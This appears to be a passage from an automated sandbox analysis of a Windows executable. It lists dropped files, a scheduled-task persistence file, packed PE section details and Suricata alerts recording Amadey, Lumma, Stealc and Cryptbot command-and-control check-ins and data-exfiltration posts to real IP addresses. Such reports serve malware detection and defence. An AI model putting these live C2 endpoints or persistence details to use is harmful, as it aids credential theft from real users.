173207

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	13253
Entropy (8bit):	5.494038323320179
Encrypted:	false
SSDEEP:
MD5:	999F808C9BB430DA105AE99E8398E2D9
SHA1:	077D7D5C3B985AF9ED93B751EBE060C6D94F92B5
SHA-256:	34A0749B09199AF7CFF3B6C5649D0F5AAE12B091234B48FBE29361E3A6D32409
SHA-512:	5FF946EDDCB545835E5811126F536A18EFAE39E4E793193A23D372FA4C00755D2D5F6519C850162185A8AF75BB4425FB7ECC30DCBF8250963E2627DDC23ECFFD
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1732078217);..user_pref("app.update.lastUpdateTime.background-update-timer", 1732078217);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1732078217);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 173207

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Reputation:	unknown
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Reputation:	unknown
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\recovery.baklz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 6150 bytes
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	6.396138656643276
Encrypted:	false
SSDEEP:
MD5:	C17FDD9FEE7C1392216573A0A26DB978
SHA1:	885C206E480545DAEF57DED613C699053834435E
SHA-256:	B760B61F4AB80C14FF64B1638492CFECF016F901E9F451BDEB0BB65C281D6D78
SHA-512:	19D7174294FC673E940A7DD1F03787F6859A80F01DFE7DEDE1F7795D3859CC3FDC6DC3C79FC52B65EF4A0C4033088C2D7473D50EA1B7EADA2E760B14E39B849E
Malicious:	false
Reputation:	unknown
Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie...url":"about:A..."triggeringPrincipal_base64":"eyIzIjp7fX0="}],"lastAccessed":1732078188430,"hidden":false,"searchMode":null,"userContextId":0,"attributes":{},"index":1,"formdata":{"id":{...D.....91hom....itle":"New Tab","cacheKey....ID":4,"docshellUU...!"{4928f5ff-b473-439a-b63d-349ac3523a33}","resultf.4URI...pz..ToInherit..s{\"0\":...\"moz-null4...:{c0c3c76c-3c3b-44b0-9d2c-f5a4aaf1d46e}\"}....hasUserInteractW........@{\"3...E...docIdentifier":5,"persist":true)...696333857659).30mag....chrome://branding/ca..nt/icon32.png"X..requestedIk..0..aselect...,"_closedTK.@],"_...C....GroupCount":-1,....Flags":2167541758....dth":1164,"height":891,"screenXN.....Y..Aizem0.."maximized"...BeforeMin...&..workspace....85d88aad-e69b-4cbc-bd94-0aee6b4b5d51...._shouldRb....","..)At...6.........I..W...6..O........p....1":{R.hUpdate\..784,"startTim..1595...centCrash...0},"globalF.Dcook.. ho...."addons.mozilla.or..@valuE..A8bad2467092e

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\recovery.jsonlz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 6150 bytes
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	6.396138656643276
Encrypted:	false
SSDEEP:
MD5:	C17FDD9FEE7C1392216573A0A26DB978
SHA1:	885C206E480545DAEF57DED613C699053834435E
SHA-256:	B760B61F4AB80C14FF64B1638492CFECF016F901E9F451BDEB0BB65C281D6D78
SHA-512:	19D7174294FC673E940A7DD1F03787F6859A80F01DFE7DEDE1F7795D3859CC3FDC6DC3C79FC52B65EF4A0C4033088C2D7473D50EA1B7EADA2E760B14E39B849E
Malicious:	false
Reputation:	unknown
Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie...url":"about:A..."triggeringPrincipal_base64":"eyIzIjp7fX0="}],"lastAccessed":1732078188430,"hidden":false,"searchMode":null,"userContextId":0,"attributes":{},"index":1,"formdata":{"id":{...D.....91hom....itle":"New Tab","cacheKey....ID":4,"docshellUU...!"{4928f5ff-b473-439a-b63d-349ac3523a33}","resultf.4URI...pz..ToInherit..s{\"0\":...\"moz-null4...:{c0c3c76c-3c3b-44b0-9d2c-f5a4aaf1d46e}\"}....hasUserInteractW........@{\"3...E...docIdentifier":5,"persist":true)...696333857659).30mag....chrome://branding/ca..nt/icon32.png"X..requestedIk..0..aselect...,"_closedTK.@],"_...C....GroupCount":-1,....Flags":2167541758....dth":1164,"height":891,"screenXN.....Y..Aizem0.."maximized"...BeforeMin...&..workspace....85d88aad-e69b-4cbc-bd94-0aee6b4b5d51...._shouldRb....","..)At...6.........I..W...6..O........p....1":{R.hUpdate\..784,"startTim..1595...centCrash...0},"globalF.Dcook.. ho...."addons.mozilla.or..@valuE..A8bad2467092e

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\recovery.jsonlz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 6150 bytes
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	6.396138656643276
Encrypted:	false
SSDEEP:
MD5:	C17FDD9FEE7C1392216573A0A26DB978
SHA1:	885C206E480545DAEF57DED613C699053834435E
SHA-256:	B760B61F4AB80C14FF64B1638492CFECF016F901E9F451BDEB0BB65C281D6D78
SHA-512:	19D7174294FC673E940A7DD1F03787F6859A80F01DFE7DEDE1F7795D3859CC3FDC6DC3C79FC52B65EF4A0C4033088C2D7473D50EA1B7EADA2E760B14E39B849E
Malicious:	false
Reputation:	unknown
Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie...url":"about:A..."triggeringPrincipal_base64":"eyIzIjp7fX0="}],"lastAccessed":1732078188430,"hidden":false,"searchMode":null,"userContextId":0,"attributes":{},"index":1,"formdata":{"id":{...D.....91hom....itle":"New Tab","cacheKey....ID":4,"docshellUU...!"{4928f5ff-b473-439a-b63d-349ac3523a33}","resultf.4URI...pz..ToInherit..s{\"0\":...\"moz-null4...:{c0c3c76c-3c3b-44b0-9d2c-f5a4aaf1d46e}\"}....hasUserInteractW........@{\"3...E...docIdentifier":5,"persist":true)...696333857659).30mag....chrome://branding/ca..nt/icon32.png"X..requestedIk..0..aselect...,"_closedTK.@],"_...C....GroupCount":-1,....Flags":2167541758....dth":1164,"height":891,"screenXN.....Y..Aizem0.."maximized"...BeforeMin...&..workspace....85d88aad-e69b-4cbc-bd94-0aee6b4b5d51...._shouldRb....","..)At...6.........I..W...6..O........p....1":{R.hUpdate\..784,"startTim..1595...centCrash...0},"globalF.Dcook.. ho...."addons.mozilla.or..@valuE..A8bad2467092e

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4538
Entropy (8bit):	5.033385603060423
Encrypted:	false
SSDEEP:
MD5:	A9BEF8524292CE1477FA94A677E36794
SHA1:	57562E045BE4C4E44920071CE846F20EBCB70616
SHA-256:	31606736080EAE690E480FF38D65983BABA0FBD811EBA580089DD4D499FE9582
SHA-512:	C4749E36DDC709B400DB92A19D0AC2C113E1E301FFCB857A14015526120A0EFBA70D118408379DB9499347C51BE72443A2FAC136B6A4EAA5D8AF1447D34874D8
Malicious:	false
Reputation:	unknown
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-11-20T04:49:51.311Z","profileAgeCreated":1696333826043,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4538
Entropy (8bit):	5.033385603060423
Encrypted:	false
SSDEEP:
MD5:	A9BEF8524292CE1477FA94A677E36794
SHA1:	57562E045BE4C4E44920071CE846F20EBCB70616
SHA-256:	31606736080EAE690E480FF38D65983BABA0FBD811EBA580089DD4D499FE9582
SHA-512:	C4749E36DDC709B400DB92A19D0AC2C113E1E301FFCB857A14015526120A0EFBA70D118408379DB9499347C51BE72443A2FAC136B6A4EAA5D8AF1447D34874D8
Malicious:	false
Reputation:	unknown
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-11-20T04:49:51.311Z","profileAgeCreated":1696333826043,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.3675984848405274
Encrypted:	false
SSDEEP:
MD5:	DFD677373E164C7D528754935B970A67
SHA1:	EEB33AC0A34B223C05DF563673BC18D751004EAF
SHA-256:	76E322B3DB4670F2E613DE996A7945E1D355D33D0296A6A9EEB1551BEB7A105C
SHA-512:	0FD919DB9F585E95A5944D6A843CC3D25287527AB5CCED514BB2FFDC3362688B10B7718F9ED260D811F597D25541AF43A85C6555F3E3D11A0D67FED4E90B37CD
Malicious:	false
Reputation:	unknown
Preview:	....b)"6.._A....7..JF.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.4655146836030335
Encrypted:	false
SSDEEP:
MD5:	6424B9260CC05BA6636462DF26DB6A43
SHA1:	222D1E7D8B31F474FA9B098A83CDDA5223564B52
SHA-256:	67F26EA3F1EC4A933E538CACBDE1C38E6690FF54E552116F6C8635861927244B
SHA-512:	67D34EEEFB6D1EE658C3531A52D30B500A3539617F87B6B909D4374DC55B89646FFEBCF566B9DCEAA67F5D4D6143913E8B6ADA2B650286659546B26156296B5A
Malicious:	false
Reputation:	unknown
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.6...:................................................................................................................................................................................................................................................................................................................................................K........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9499319928683345
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'950'208 bytes
MD5:	ae02d850933fa9d3d3c279d35ef3999f
SHA1:	af76857b01bf1bee33df23bc72f9ea0b458303ce
SHA256:	14f5fa438f09da397b2ff9b35614c77bef6be69bbff90443ac53d9c1257e839d
SHA512:	f6963e64b8296dd218437bdbbcd7980f0e94084d9f687a96446c9e5e87f36f1d89b68152e5795e39d15c2d8a06528a75f1a00ce9f6ad3b4fd573720ebe64385d
SSDEEP:	49152:czm2RWe43WC8UfxF2nI51jGrDTbgNEDHWea:0FR6Gve32I5NGr3fBa
TLSH:	539533827C2469BCC00CC7B8D4DEE31CF2157D92F912B69B9635B3AB6867B0239C9457
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8d6000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FA5746D516Ah
push fs
sbb eax, 00000000h
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], ah
add byte ptr [eax], al
inc esp
nop
xchg eax, ecx
sldt word ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x448	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4d40f0	0x10	olvlyudu
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4d40a0	0x18	olvlyudu
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	4b5c310f585e88dc8524b1321616e040	False	0.9977914254087193	data	7.977193845039559	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x448	0x400	e34904e5d334a8819a76b5c805c5945b	False	0.4873046875	data	4.217731494536062	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2bf000	0x200	52191f004ce3e7440e525fc74db0cc4d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
olvlyudu	0x32a000	0x1ab000	0x1aa600	641adbd4f04448c4ea6ba3dbd18d98b8	False	0.9941417701920258	data	7.9540718655110405	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
khkyjidv	0x4d5000	0x1000	0x400	17b065ab3ddb5df86a3c4ed7f789ad2b	False	0.81640625	data	6.232425829421748	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4d6000	0x3000	0x2200	7afe82d76ed2320bb951e5c32a9df819	False	0.06502757352941177	DOS executable (COM)	0.7351971977285623	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4d4100	0x256	ASCII text, with CRLF line terminators			0.5100334448160535
RT_MANIFEST	0x4d4356	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T04:08:06.378168+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	62408	185.215.113.43	80	TCP
2024-11-20T04:08:09.530720+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	62430	31.41.244.11	80	TCP
2024-11-20T04:08:15.231997+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	62422	TCP
2024-11-20T04:08:15.936123+0100	2856121	ETPRO MALWARE Amadey CnC Activity M2	1	192.168.2.4	62473	185.215.113.43	80	TCP
2024-11-20T04:08:16.747862+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	62476	185.215.113.16	80	TCP
2024-11-20T04:08:20.639341+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	62507	188.114.97.3	443	TCP
2024-11-20T04:08:21.099391+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	62507	188.114.97.3	443	TCP
2024-11-20T04:08:21.099391+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	62507	188.114.97.3	443	TCP
2024-11-20T04:08:21.404436+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	62511	185.215.113.43	80	TCP
2024-11-20T04:08:21.855371+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	62514	188.114.97.3	443	TCP
2024-11-20T04:08:22.286956+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	62514	188.114.97.3	443	TCP
2024-11-20T04:08:22.286956+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	62514	188.114.97.3	443	TCP
2024-11-20T04:08:22.573871+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	62516	185.215.113.16	80	TCP
2024-11-20T04:08:23.476458+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	62526	188.114.97.3	443	TCP
2024-11-20T04:08:24.154553+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	62526	188.114.97.3	443	TCP
2024-11-20T04:08:25.199703+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	62537	188.114.97.3	443	TCP
2024-11-20T04:08:26.714304+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	62543	188.114.97.3	443	TCP
2024-11-20T04:08:27.458354+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	62549	185.215.113.43	80	TCP
2024-11-20T04:08:27.679343+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	62548	185.215.113.206	80	TCP
2024-11-20T04:08:27.905380+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	62548	185.215.113.206	80	TCP
2024-11-20T04:08:27.919926+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	62548	TCP
2024-11-20T04:08:28.140506+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	62548	185.215.113.206	80	TCP
2024-11-20T04:08:28.147565+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	62548	TCP
2024-11-20T04:08:28.165469+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	62554	185.215.113.16	80	TCP
2024-11-20T04:08:28.252392+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	62555	188.114.97.3	443	TCP
2024-11-20T04:08:29.256398+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	62548	185.215.113.206	80	TCP
2024-11-20T04:08:29.747538+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	62566	188.114.97.3	443	TCP
2024-11-20T04:08:29.832974+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	62566	188.114.97.3	443	TCP
2024-11-20T04:08:29.875276+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	62548	185.215.113.206	80	TCP
2024-11-20T04:08:32.058227+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	62579	185.215.113.43	80	TCP
2024-11-20T04:08:32.324064+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	62581	34.116.198.130	80	TCP
2024-11-20T04:08:32.865491+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	62582	185.215.113.16	80	TCP
2024-11-20T04:08:33.872116+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	62597	188.114.97.3	443	TCP
2024-11-20T04:08:34.377907+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	62597	188.114.97.3	443	TCP
2024-11-20T04:08:34.377907+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	62597	188.114.97.3	443	TCP
2024-11-20T04:08:34.607340+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	62605	188.114.97.3	443	TCP
2024-11-20T04:08:34.696058+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	62609	34.116.198.130	80	TCP
2024-11-20T04:08:35.009676+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	62608	188.114.97.3	443	TCP
2024-11-20T04:08:35.024060+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	62605	188.114.97.3	443	TCP
2024-11-20T04:08:35.410390+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	62608	188.114.97.3	443	TCP
2024-11-20T04:08:35.410390+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	62608	188.114.97.3	443	TCP
2024-11-20T04:08:35.789593+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	62615	185.215.113.16	80	TCP
2024-11-20T04:08:37.497545+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	62632	188.114.97.3	443	TCP
2024-11-20T04:08:38.438272+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	62637	185.215.113.43	80	TCP
2024-11-20T04:08:41.171074+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	62660	188.114.97.3	443	TCP
2024-11-20T04:08:43.897598+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	62676	188.114.97.3	443	TCP
